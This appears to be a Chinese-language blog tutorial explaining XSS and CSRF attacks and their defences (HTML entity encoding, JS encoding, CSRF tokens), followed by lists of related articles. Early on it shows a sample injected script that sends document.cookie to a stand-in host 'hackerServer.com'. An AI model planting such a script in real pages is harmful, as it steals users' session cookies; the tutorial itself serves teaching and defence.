xss和csrf攻击
xss(cross site scripting)是一种最常用的网站攻击方式。
一.Html的实体编码
举个栗子:用户在评论区输入评论信息,然后再评论区显示。大概是这个样子:
<span>User Data</span>
如果对User Data不做任何过滤,那么一些喜欢搞怪的小伙伴通常会“注入”一些其他东东,诸如:
<span>alert('弹弹弹')</span>
更有甚者,
<span>
<script>
function getCookie()
{
var cookie=document.cookie;
$.get("http://hackerServer.com?cookie="+cookie,function(result){ })//如浏览器支持跨域访问
}
</script>
</span>
这样的话,在黑客的站点 hackerServer.com 就会源源不断的得到用户的cookie,有了用户的cookie,就相当于得到了最初的凭证,便可以做很多坏事。
我们可以对用户输入的信息,进行转码后再显示,这样就不会出现上述的问题了。这里引入“html实体编码”的概念,见下图(图来源)。
显示结果 | 描述 | 实体名称 | 实体编号(十进制) | 实体编号(十六进制) |
---|---|---|---|---|
空格 | | |||
< | 小于号 | < | < | < |
> | 大于号 | > | > | E; |
& | 和号 | & | & |  |
" | 引号 | " | " |  |
把 alert('弹弹弹') 转码后,其前端页面显示的为 alert('弹弹弹'),
查看其后端html源代码则为 alert('弹弹弹')
我们可以使用charCodeAt这个方法把User Data转化为html实体编码。
"alert('User Data')".replace(/./g, function(s){
return "&#" + s.charCodeAt()
+ ";"
});
二.Js编码
那我们可不可以把所有 有用户输入的地方都使用html实体编码,从而完全避免用户的注入呢?
不行!
HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a <div> tag. It even sort of works for untrusted data that goes into attributes, particularly if you're religious about using quotes around your attributes. But HTML entity encoding doesn't work if you're putting untrusted data inside a <script> tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into. That's what the rules below are all about.
大致意思是:在有<script></script>的标签中,并不支持html编码,这是需要对js进行编码。
如:
<body> <div id='commentlist'>
<script type="text/javascript">
//var s="jsAlert";
var s="jsAlert";
alert(s)//弹出的是s字符串,而不是“jsAlert”
var s2="\152\163\101\154\145\162\164";
alert(s2)//弹出的是jsAlert
</script> </body>
对于在<script></script>标签中的User Data,要使用js编码,就是使用unicode编码,才能保证正确的输入和输出。js编码支持八进制和十六进制编码。
同样可以使用charCodeAt方法把数据进行转化,如下:
"jsAlert".replace(/./g, function(s){
return '\\'+s.charCodeAt().toString()
});
关于js编码的详细可以参考下这里。
三.Xss的危害
如果骇客在一个网站注入了自己一段非法脚本,比如我在http://www.baidu.com注入了一段脚本,该脚本的功能是给关注新浪微博某个指定的用户。
那么,当用户a访问http://www.baidu.com,并且用户a的浏览器保留了新浪微博的登录cookie,那么在访问时,http://www.baidu.com将作为跳板,自动向新浪微博服务器http://weibo.com发起了一次关注请求。显然的,这样的请求是不符合用户意愿的。
这里出现问题的原因就是因为http://www.baidu.com存在重大的xss漏洞所致。
用户浏览器访问http://weibo.com时,该浏览器weibo.com域名下的cookie自动被带着,去访问http://weibo.com,这是因为http是无状态的,而cookie则是身份证明的唯一途径,http协议决定了同个域名下的cookie会自动捎带。
毫无疑问,cookie并不是那么安全,
这里的黑客就是利用了网站的xss漏洞发起了csrf攻击。
必须指明的,csrf漏洞和xss漏洞并没有必然的关联。即使一个网站不存在xss漏洞,但是同样可以发起csrf攻击。
显然的,xss防范是网站安全的第一步,只有这样才能使自己不变成跳板,成为黑客们进行攻击的傀儡。为了避免csrf攻击,就需要采用“非Cookie”的信息策略,即使用csrf_token.
四.csrf攻击
csrf(Cross-site request forgery)攻击的原理是利用浏览器存储的cookie信息,去模拟用户的某些操作。下面是一个csrf攻击的场景:
场景:用户A登录了weibo.com之后,无意中浏览了某恶意网站 http://www.hacker.com之后,发现自己“莫名地” follow了n多个微博帐号。
原因:由于网站weibo.com的并没有使用csrf的防范,所以恶意用户在http://www.hacker.com上自动构造了“关注特定微博帐号”的请求操作followUser。
而又由于用户登了weibo.com,在用户浏览器存储的cookie信息,会随着followUser这个操作一起发送到weibo.com。
weibo.com服务端 在收到来自http://www.hacker.com的请求之后,验证cookie信息,发现cookie信息无误,便会误以为是正确的请求。
解决方案:由于Request Referer字段是可以修改的,所以通过Request Referer字段并不可取。
我们可以感觉cookie信息中的某些kv键值对键值对(如uuid=‘zhangsan’,timespan='201601011023',可以根据这些数据进行加密),然后通过某些位运算算法,生产一个csrf_token,由于这个字段不存在于Cookie,所以在访问时,需要在web端自动构建这个参数(如果是get请求,可以加到url之后;如果是post请求,可以封装到请求body之中)。
对于其他域名下的请求,由于其无法获取该域下的cookie信息,所以,即使该位运算算法暴露在js之中,其它恶意请求也无法构造这个csrf_token值。再weibo.com的服务端会被拒绝掉。
写到这里,不难发现,如果weibo.com存在xss漏洞,导致了用户cookie的泄漏,也会可能引发进一步的csrf攻击。
有防xss的措施,无防csrf的措施,网站会GG;
无防xss的措施,有防csrf的错误,网站会GG,因为你可能会丢cookie,导致csrf压根防不了。
以上。
可能有用的js方法:
1."aA".charCodeAt().toStrign("16")
2.String.fromCharCode(40)
3.eval()
参考:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://drops.wooyun.org/tips/689
http://www.cnblogs.com/hustskyking/p/xss-snippets.html
http://www.cnblogs.com/TomXu/archive/2011/12/31/2289423.html
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#Why_Can.27t_I_Just_HTML_Entity_Encode_Untrusted_Data.3F
xss和csrf攻击的更多相关文章
- XSS 和 CSRF 攻击
web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等 一.XSS(Cross Site Scripting)跨站脚本 XSS其实就是Html的注入问题,攻击者的输入没 ...
- XSS与CSRF攻击
一.XSS Cross Site Script,跨站脚本攻击.是指攻击者在网站上注入恶意客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一 ...
- 前端安全之XSS和csrf攻击
1.Csrf攻击概念: csrf攻击(Cross-site request forgery):跨站请求伪造; 2.Csrf攻击原理: 用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cook ...
- xss 和 csrf攻击详解
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同 ...
- XSS攻击 && CSRF攻击 基础理解
一个网站,不管多么的帅气,多么的风骚,如果你不安全,那始终都是一个弟弟啊~ 今天又看了下XSS和CSRF攻击的文章,我也想发点什么普及下大家的安全意识,毕竟作为一名拥有伟大梦想的程序员,基本的安全意识 ...
- 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- XSS攻击&SQL注入攻击&CSRF攻击?
- XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...
- yii框架各种防止sql注入,xss攻击,csrf攻击
PHP中常用到的方法有: /* 防sql注入,xss攻击 (1)*/ function actionClean($str) { $str=trim($str); ...
- XSS与CSRF两种跨站攻击比较
XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...
随机推荐
- SSH实战 · 用spring框架下的hibernatetemplate的get方法出现的问题
用get方法查询: return this.getHibernateTemplate().get(Product.class, pid); 出现错误为:id to load is requi ...
- Jquery 搭配 css 使用,简单有效
前几篇博客中讲了Jquery的基础和点击实际,下面来说一下和css搭配着来怎么做 还是和往常一样,举个例子 好几个方块,然后设置颜色 <!DOCTYPE html PUBLIC "-/ ...
- JavaScript function函数种类
本篇主要介绍普通函数.匿名函数.闭包函数 目录 1. 普通函数:介绍普通函数的特性:同名覆盖.arguments对象.默认返回值等. 2. 匿名函数:介绍匿名函数的特性:变量匿名函数.无名称匿名函数. ...
- MVC如何使用开源分页插件shenniu.pager.js
最近比较忙,前期忙公司手机端接口项目,各种开发+调试+发布现在几乎上线无问题了:虽然公司项目忙不过在期间抽空做了两件个人觉得有意义的事情,一者使用aspnetcore开发了个人线上项目(要说线上其实只 ...
- 【知识必备】一文让你搞懂design设计的CoordinatorLayout和AppbarLayout联动,让Design设计更简单~
一.写在前面 其实博主在之前已经对design包的各个控件都做了博文说明,无奈个人觉得理解不够深入,所以有了这篇更加深入的介绍,希望各位看官拍砖~ 二.从是什么开始 1.首先我们得知道Coordina ...
- css元素水平居中和垂直居中的方式
关于居中的问题,一直处于疑惑不解的状态,知道的几种方法好像也不是每一次都会起到作用,所以更加迷惑.主要是不清楚该 在什么情况下采用哪种解决方法,所以,整理了一些方法,梳理一下思路,做一个总结. 1. ...
- [转载]强制不使用“兼容性视图”的HTML代码
在IE8浏览器以后版本,都有一个"兼容性视图",让不少新技术无法使用.那么如何禁止浏览器自动选择"兼容性视图",强制IE以最高级别的可用模式显示内容呢?下面就介 ...
- 登录(ajax提交数据和后台校验)
1.前台ajax数据提交 <form id="login_form" action="" method="POST"> < ...
- Android之Pull解析XML
一.Pull解析方法介绍 除了可以使用SAX和DOM解析XML文件,也可以使用Android内置的Pull解析器解析XML文件.Pull解析器的运行方式与SAX解析器相似.它也是事件触发的.Pull解 ...
- 使用HEXO快速建站
先安好npm,请参照:http://max.cszi.com/archives/482 打开网站:https://hexo.io/ npm install hexo-cli -g hexo ini ...